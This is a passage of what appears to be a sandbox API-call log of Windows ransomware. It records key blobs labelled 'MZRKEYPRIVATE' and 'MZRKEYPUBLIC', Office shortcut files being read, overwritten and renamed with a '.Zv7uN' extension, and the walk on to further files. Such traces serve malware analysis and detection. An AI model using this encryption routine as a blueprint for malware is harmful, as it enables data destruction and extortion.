OAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.846] GetCurrentThreadId () returned 0xa30 [0133.846] GetCurrentThreadId () returned 0xa30 [0133.846] GetCurrentThreadId () returned 0xa30 [0133.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.847] GetCurrentThreadId () returned 0xa30 [0133.847] GetCurrentThreadId () returned 0xa30 [0133.847] GetCurrentThreadId () returned 0xa30 [0133.847] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft project 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.847] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.847] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.847] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xb77 [0133.848] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.848] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0xb77, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0xb77, lpOverlapped=0x0) returned 1 [0133.852] CloseHandle (hObject=0x1e8) returned 1 [0133.852] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft project 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.857] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0xb77, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0xb77, lpOverlapped=0x0) returned 1 [0133.861] CloseHandle (hObject=0x1e8) returned 1 [0133.861] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft project 2010.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft project 2010.lnk.zv7un")) returned 1 [0133.862] GetCurrentThreadId () returned 0xa30 [0133.862] GetCurrentThreadId () returned 0xa30 [0133.862] GetCurrentThreadId () returned 0xa30 [0133.862] GetCurrentThreadId () returned 0xa30 [0133.862] GetCurrentThreadId () returned 0xa30 [0133.863] GetCurrentThreadId () returned 0xa30 [0133.863] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Publisher 2010.lnk", cAlternateFileName="MI260D~1.LNK")) returned 1 [0133.863] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.863] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.863] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft publisher 2010.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x780846d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbe1)) returned 1 [0133.863] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft publisher 2010.lnk")) returned 0x20 [0133.864] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk", dwFileAttributes=0x80) returned 1 [0133.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxp